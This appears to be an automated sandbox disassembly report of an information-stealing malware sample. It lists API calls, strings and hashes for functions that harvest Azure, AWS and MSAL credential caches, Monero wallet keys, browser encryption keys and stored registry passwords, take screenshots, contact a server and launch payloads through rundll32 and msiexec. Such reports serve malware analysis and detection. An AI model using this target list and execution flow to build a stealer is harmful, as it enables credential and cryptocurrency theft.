Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 7b20410112ddadd82af7c0e274754d61b46d00f9d2f139e4a7a445b1f3efb173
Instruction ID: 7161e337edc9c6829eb73a10c2a83b911e7f8262a395814d870fc8b8aaf61bb3
Opcode Fuzzy Hash: 7b20410112ddadd82af7c0e274754d61b46d00f9d2f139e4a7a445b1f3efb173
Instruction Fuzzy Hash: 8681FA7191011CAFEB28DB54CC95FEAB7BCBB08700F008299F149A6180DF716B89DFA5

Function 00CB4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CB8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00CB8E0B

lstrcat.KERNEL32(?,00000000), ref: 00CB4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00CB4DCD

Part of subcall function 00CB4910: wsprintfA.USER32 ref: 00CB492C
Part of subcall function 00CB4910: FindFirstFileA.KERNEL32(?,?), ref: 00CB4943

lstrcat.KERNEL32(?,00000000), ref: 00CB4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00CB4E59

Part of subcall function 00CB4910: StrCmpCA.SHLWAPI(?,00CC0FDC), ref: 00CB4971
Part of subcall function 00CB4910: StrCmpCA.SHLWAPI(?,00CC0FE0), ref: 00CB4987
Part of subcall function 00CB4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00CB4B7D
Part of subcall function 00CB4910: FindClose.KERNEL32(000000FF), ref: 00CB4B92

lstrcat.KERNEL32(?,00000000), ref: 00CB4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00CB4EE5

Part of subcall function 00CB4910: wsprintfA.USER32 ref: 00CB49B0
Part of subcall function 00CB4910: StrCmpCA.SHLWAPI(?,00CC08D2), ref: 00CB49C5
Part of subcall function 00CB4910: wsprintfA.USER32 ref: 00CB49E2
Part of subcall function 00CB4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00CB4A1E
Part of subcall function 00CB4910: lstrcat.KERNEL32(?,009DF2C0), ref: 00CB4A4A
Part of subcall function 00CB4910: lstrcat.KERNEL32(?,00CC0FF8), ref: 00CB4A5C
Part of subcall function 00CB4910: lstrcat.KERNEL32(?,?), ref: 00CB4A70
Part of subcall function 00CB4910: lstrcat.KERNEL32(?,00CC0FFC), ref: 00CB4A82
Part of subcall function 00CB4910: lstrcat.KERNEL32(?,?), ref: 00CB4A96
Part of subcall function 00CB4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00CB4AAC
Part of subcall function 00CB4910: DeleteFileA.KERNEL32(?), ref: 00CB4B31

Strings

Azure\.azure, xrefs: 00CB4DD3
msal.cache, xrefs: 00CB4EF0
*.*, xrefs: 00CB4DD8
\.IdentityService\, xrefs: 00CB4ED9
Azure\.aws, xrefs: 00CB4E5F
Azure\.IdentityService, xrefs: 00CB4EEB
\.aws\, xrefs: 00CB4E4D
*.*, xrefs: 00CB4E64
\.azure\, xrefs: 00CB4DC1

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 8edc1c2f332fcf90d3c629639c5f06dda499f3a10ae809e92b3d1c33202bee3c
Instruction ID: 5d7db87379fc9b4f4548e2564168387c8caa039af8f8bfb3906610c69cd4e0dc
Opcode Fuzzy Hash: 8edc1c2f332fcf90d3c629639c5f06dda499f3a10ae809e92b3d1c33202bee3c
Instruction Fuzzy Hash: 0641987994020867DB54F770DC8BFED333CAB65700F044468B689A60C2EDB56BC9DB92

Function 00CB9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00CB906C

Strings

image/jpeg, xrefs: 00CB9136

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 06769e1f33be518103d59bc877a93c8612cbb820dede7db3c1c96ef09ca3fe3e
Instruction ID: b336373f882d66bccb14dc6fa2ffee094974e7020dd4b8dbdddf48bc555879e0
Opcode Fuzzy Hash: 06769e1f33be518103d59bc877a93c8612cbb820dede7db3c1c96ef09ca3fe3e
Instruction Fuzzy Hash: 7171D9B5D10208AFDB04EFE5DC89FEEB7B9AB48700F148518F615AB290DB34A905DB61

Function 00CB2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

ShellExecuteEx.SHELL32(0000003C), ref: 00CB31C5
ShellExecuteEx.SHELL32(0000003C), ref: 00CB335D
ShellExecuteEx.SHELL32(0000003C), ref: 00CB34EA

Strings

.dll, xrefs: 00CB31E5
/i ", xrefs: 00CB33E4
/passive, xrefs: 00CB345B
C:\Windows\system32\msiexec.exe, xrefs: 00CB34BF
C:\Windows\system32\rundll32.exe, xrefs: 00CB3332
<, xrefs: 00CB3490
"" , xrefs: 00CB309A
.msi, xrefs: 00CB3398

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: f73b6f28739b9dc39567a6047772049e82c8dd1e140331101ad6ed31425939ab
Instruction ID: d5a687d73df7e5391d77b15af01e4ee4fdd267a48767341aad2e55cfaaadbcec
Opcode Fuzzy Hash: f73b6f28739b9dc39567a6047772049e82c8dd1e140331101ad6ed31425939ab
Instruction Fuzzy Hash: FB120D71C10108AADB19EBA0DC92FEEB73CAF14300F544169F54676591EF352B4AEFA2

Function 00CB52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CBA7E6

Part of subcall function 00CA6280: InternetOpenA.WININET(00CC0DFE,00000001,00000000,00000000,00000000), ref: 00CA62E1
Part of subcall function 00CA6280: StrCmpCA.SHLWAPI(?,009DF1A0), ref: 00CA6303
Part of subcall function 00CA6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00CA6335
Part of subcall function 00CA6280: HttpOpenRequestA.WININET(00000000,GET,?,009DE910,00000000,00000000,00400100,00000000), ref: 00CA6385
Part of subcall function 00CA6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00CA63BF
Part of subcall function 00CA6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00CA63D1

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00CB5318
lstrlen.KERNEL32(00000000), ref: 00CB532F

Part of subcall function 00CB8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00CB8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00CB5364
lstrlen.KERNEL32(00000000), ref: 00CB5383
lstrlen.KERNEL32(00000000), ref: 00CB53AE

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Strings

ERROR, xrefs: 00CB54A9
ERROR, xrefs: 00CB530A
ERROR, xrefs: 00CB53B9
ERROR, xrefs: 00CB5432
ERROR, xrefs: 00CB546F

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 38793a2a080443eb886ed8b567dc53e3860da48fa1f9bf018e873e43510ef5e0
Instruction ID: c0d8a779feb7bfb99dbb311b291ec90b6fa315f771b23ccf4250ca33509cd217
Opcode Fuzzy Hash: 38793a2a080443eb886ed8b567dc53e3860da48fa1f9bf018e873e43510ef5e0
Instruction Fuzzy Hash: 9D510F30910148ABCB24FF61CDA6BED777DAF10301F544028F8466B592EF356B49EB62

Function 00CB12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 3d49fc1e0716ce40af5ac29baa35b019441ba7ef02786fb8e22bbc53e07725b8
Instruction ID: e4cded8e8ce583cc5192867042a4975742fe181ca2ac048119faee5a7a308eaf
Opcode Fuzzy Hash: 3d49fc1e0716ce40af5ac29baa35b019441ba7ef02786fb8e22bbc53e07725b8
Instruction Fuzzy Hash: 8FC1A5B590021DABCB14EF60DCD9FEA7378BB54304F044598F50A67182EB71AE89DFA1

Function 00CB4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CB8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00CB8E0B

lstrcat.KERNEL32(?,00000000), ref: 00CB42EC
lstrcat.KERNEL32(?,009DEEB0), ref: 00CB430B
lstrcat.KERNEL32(?,?), ref: 00CB431F
lstrcat.KERNEL32(?,009DD608), ref: 00CB4333

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Part of subcall function 00CB8D90: GetFileAttributesA.KERNEL32(00000000,?,00CA1B54,?,?,00CC564C,?,?,00CC0E1F), ref: 00CB8D9F

Part of subcall function 00CA9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00CA9D39

Part of subcall function 00CA99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00CA99EC
Part of subcall function 00CA99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00CA9A11
Part of subcall function 00CA99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00CA9A31
Part of subcall function 00CA99C0: ReadFile.KERNEL32(000000FF,?,00000000,00CA148F,00000000), ref: 00CA9A5A
Part of subcall function 00CA99C0: LocalFree.KERNEL32(00CA148F), ref: 00CA9A90
Part of subcall function 00CA99C0: CloseHandle.KERNEL32(000000FF), ref: 00CA9A9A

Part of subcall function 00CB93C0: GlobalAlloc.KERNEL32(00000000,00CB43DD,00CB43DD), ref: 00CB93D3

StrStrA.SHLWAPI(?,009DEF58), ref: 00CB43F3
GlobalFree.KERNEL32(?), ref: 00CB4512

Part of subcall function 00CA9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00CA4EEE,00000000,00000000), ref: 00CA9AEF
Part of subcall function 00CA9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00CA4EEE,00000000,?), ref: 00CA9B01
Part of subcall function 00CA9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00CA4EEE,00000000,00000000), ref: 00CA9B2A
Part of subcall function 00CA9AC0: LocalFree.KERNEL32(?,?,?,?,00CA4EEE,00000000,?), ref: 00CA9B3F

lstrcat.KERNEL32(?,00000000), ref: 00CB44A3
StrCmpCA.SHLWAPI(?,00CC08D1), ref: 00CB44C0
lstrcat.KERNEL32(00000000,00000000), ref: 00CB44D2
lstrcat.KERNEL32(00000000,?), ref: 00CB44E5
lstrcat.KERNEL32(00000000,00CC0FB8), ref: 00CB44F4

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 1c2451604507ee0b3141ed2beac3428a36368ef99e62894cdb2cfc44f3a11ede
Instruction ID: 860cbdd7bcfb00e1f3fb42abdf44a5f965488826117db6b9e921c28aee194a2e
Opcode Fuzzy Hash: 1c2451604507ee0b3141ed2beac3428a36368ef99e62894cdb2cfc44f3a11ede
Instruction Fuzzy Hash: 8B712676D00208BBDB14EBA0DC8AFEE777DAB48304F044598F605A7181EA35EB49DF91

Function 00CA1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CA12B4
Part of subcall function 00CA12A0: RtlAllocateHeap.NTDLL(00000000), ref: 00CA12BB
Part of subcall function 00CA12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00CA12D7
Part of subcall function 00CA12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00CA12F5
Part of subcall function 00CA12A0: RegCloseKey.ADVAPI32(?), ref: 00CA12FF

lstrcat.KERNEL32(?,00000000), ref: 00CA134F
lstrlen.KERNEL32(?), ref: 00CA135C
lstrcat.KERNEL32(?,.keys), ref: 00CA1377

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Part of subcall function 00CBA9B0: lstrlen.KERNEL32(?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CBA9C5
Part of subcall function 00CBA9B0: lstrcpy.KERNEL32(00000000), ref: 00CBAA04
Part of subcall function 00CBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CBAA12

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

Part of subcall function 00CB8B60: GetSystemTime.KERNEL32(00CC0E1A,009DE528,00CC05AE,?,?,00CA13F9,?,0000001A,00CC0E1A,00000000,?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CB8B86

Part of subcall function 00CBA920: lstrcpy.KERNEL32(00000000,?), ref: 00CBA972
Part of subcall function 00CBA920: lstrcat.KERNEL32(00000000), ref: 00CBA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00CA1465

Part of subcall function 00CBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CBA7E6

Part of subcall function 00CA99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00CA99EC
Part of subcall function 00CA99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00CA9A11
Part of subcall function 00CA99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00CA9A31
Part of subcall function 00CA99C0: ReadFile.KERNEL32(000000FF,?,00000000,00CA148F,00000000), ref: 00CA9A5A
Part of subcall function 00CA99C0: LocalFree.KERNEL32(00CA148F), ref: 00CA9A90
Part of subcall function 00CA99C0: CloseHandle.KERNEL32(000000FF), ref: 00CA9A9A

DeleteFileA.KERNEL32(00000000), ref: 00CA14EF

Strings

.keys, xrefs: 00CA136B
wallet_path, xrefs: 00CA1330
SOFTWARE\monero-project\monero-core, xrefs: 00CA1335
\Monero\wallet.keys, xrefs: 00CA138D

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 9e4eb9bb6b3f6b961be978f6d28589671be57753f0035e696cc65fc2afd4b615
Instruction ID: e77bf993f30463e6d6b80fb85ae687133386fead516cc11bb2ac742afe8c3151
Opcode Fuzzy Hash: 9e4eb9bb6b3f6b961be978f6d28589671be57753f0035e696cc65fc2afd4b615
Instruction Fuzzy Hash: 2E5134B1D501196BCB15FB60DD96FED737CAF54300F4041ACB64AA6082EE306B89DFA6

Function 00CA75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00CA733A
Part of subcall function 00CA72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00CA73B1
Part of subcall function 00CA72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00CA740D
Part of subcall function 00CA72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00CA7452
Part of subcall function 00CA72D0: HeapFree.KERNEL32(00000000), ref: 00CA7459

lstrcat.KERNEL32(00000000,00CC17FC), ref: 00CA7606
lstrcat.KERNEL32(00000000,00000000), ref: 00CA7648
lstrcat.KERNEL32(00000000, : ), ref: 00CA765A
lstrcat.KERNEL32(00000000,00000000), ref: 00CA768F
lstrcat.KERNEL32(00000000,00CC1804), ref: 00CA76A0
